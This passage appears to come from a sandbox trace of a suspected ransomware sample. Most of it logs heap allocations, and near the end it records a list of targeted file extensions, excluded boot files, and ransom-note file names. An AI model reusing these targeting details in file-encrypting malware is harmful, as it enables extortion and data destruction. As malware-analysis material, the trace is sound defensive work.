0x4e9af8 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e7ad0 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b10 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b28 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b40 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b58 [0031.253] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9198, Size=0x200) returned 0x4e9198 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b70 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e52d8 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b88 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9bc8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9be0 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9bf8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c10 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c28 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c40 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c58 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c70 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9c88 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9ca0 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9cb8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9cd0 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9ce8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9d00 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d18 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9d30 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9d48 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d60 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d78 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d90 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e52e8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9da8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9dc0 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9dd8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e9fc8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9df0 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9e08 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e20 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e38 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e50 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e68 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e80 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e98 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9eb0 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9ec8 [0031.254] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ee0 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ef8 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f10 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9f28 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f40 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f58 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f70 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f88 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc468 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc480 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc498 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e9fd8 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4e9fe8 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc4b0 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc4c8 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc4e0 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc4f8 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc510 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc528 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc540 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc558 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc570 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc588 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc5a0 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc5b8 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc5d0 [0031.255] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9198, Size=0x400) returned 0x4e9198 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc5e8 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc600 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc618 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc630 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc648 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc660 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc678 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc690 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc6a8 [0031.255] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc6c0 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e9ff8 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc6d8 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc6f0 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc708 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc720 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc738 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc750 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fc768 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc780 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc798 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc7b0 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc7c8 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc7e0 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc7f8 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc810 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc828 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea008 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc868 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc880 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc898 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc8b0 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc8c8 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc8e0 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc8f8 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc910 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc928 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fc940 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc958 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fc970 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc988 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9a0 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9b8 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9d0 [0031.256] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9e8 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fca00 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca18 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca30 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca48 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca60 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca78 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca90 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcaa8 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcac0 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcad8 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcaf0 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb08 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb20 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb38 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb50 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb68 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb80 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb98 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4fcbb0 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12) returned 0x4e5f00 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcbc8 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcbe0 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcbf8 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc10 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc28 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc68 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc80 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc98 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fccb0 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fccc8 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcce0 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fccf8 [0031.257] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd10 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd28 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd40 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd58 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd70 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd88 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcda0 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcdb8 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcdd0 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcde8 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fce00 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fce18 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fce30 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea018 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce48 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea028 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce60 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce78 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce90 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcea8 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcec0 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fced8 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcef0 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf08 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf20 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcf38 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf50 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcf68 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcf80 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf98 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea038 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcfb0 [0031.258] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcfc8 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9198, Size=0x800) returned 0x4fd450 [0031.259] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0031.259] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb448 | out: hHeap=0x4b0000) returned 1 [0031.259] lstrlenW (lpString="") returned 0 [0031.259] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdd90 | out: hHeap=0x4b0000) returned 1 [0031.259] lstrlenW (lpString=".html") returned 5 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4750, Size=0x8) returned 0x4c4750 [0031.259] lstrlenW (lpString=".html") returned 5 [0031.259] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdd90 | out: hHeap=0x4b0000) returned 1 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddc0, Size=0x20) returned 0x4c4370 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4370, Size=0x40) returned 0x4e6a80 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a80, Size=0x80) returned 0x50b450 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0a8, Size=0x8) returned 0x4ea0b8 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0b8, Size=0x10) returned 0x4fddc0 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddc0, Size=0x20) returned 0x4c4348 [0031.259] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0031.259] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b450 | out: hHeap=0x4b0000) returned 1 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddf0, Size=0x20) returned 0x4e5930 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5930, Size=0x40) returned 0x4e6a80 [0031.259] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0031.259] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0031.259] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6a80 | out: hHeap=0x4b0000) returned 1 [0031.259] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddf0, Size=0x20) returned 0x4e5930 [0031.260] lstrlenW (lpString="Info.hta") returned 8 [0031.260] lstrlenW (lpString="Info.hta") returned 8 [0031.260] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5930 | out: hHeap=0x4b0000) returned 1 [0031.260] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x51d440, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohbdap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohbdap.exe")) returned 0x30 [0031.260] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d440 | out: hHeap=0x4b0000) returned 1 [0031.260] lstrlenW (lpString="ohbdap.exe") returned 10 [0031.260] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4348, Size=0x40) returned 0x4e6a80 [0031.260] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddf0, Size=0x20) returned 0x4c4348 [0031.260] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddf0, Size=0x20) returned 0x4e5930 [0031.260] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5930, Size=0x40) returned 0x4e6ac8 [0031.260] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ac8, Size=0x80) returned 0x50b450 [0031.260] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x4fb448 [0031.260] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.260] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb448 | out: hHeap=0x4b0000) returned 1 [0031.260] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x51d440, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0031.260] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d448 | out: hHeap=0x4b0000) returned 1 [0031.260] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d440 | out: hHeap=0x4b0000) returned 1 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0b8, Size=0x8) returned 0x4ea0a8 [0031.261] lstrlenW (lpString="%windir%;") returned 9 [0031.261] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4348 | out: hHeap=0x4b0000) returned 1 [0031.261] lstrlenW (lpString="C:\\Windows;") returned 11 [0031.261] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d438 | out: hHeap=0x4b0000) returned 1 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fde08, Size=0x20) returned 0x4c4348 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4348, Size=0x40) returned 0x4e6ac8 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ac8, Size=0x80) returned 0x50b450 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x4fb448 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0e8, Size=0x8) returned 0x4ea0f8 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0f8, Size=0x10) returned 0x4fde50 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fde50, Size=0x20) returned 0x4c4348 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, 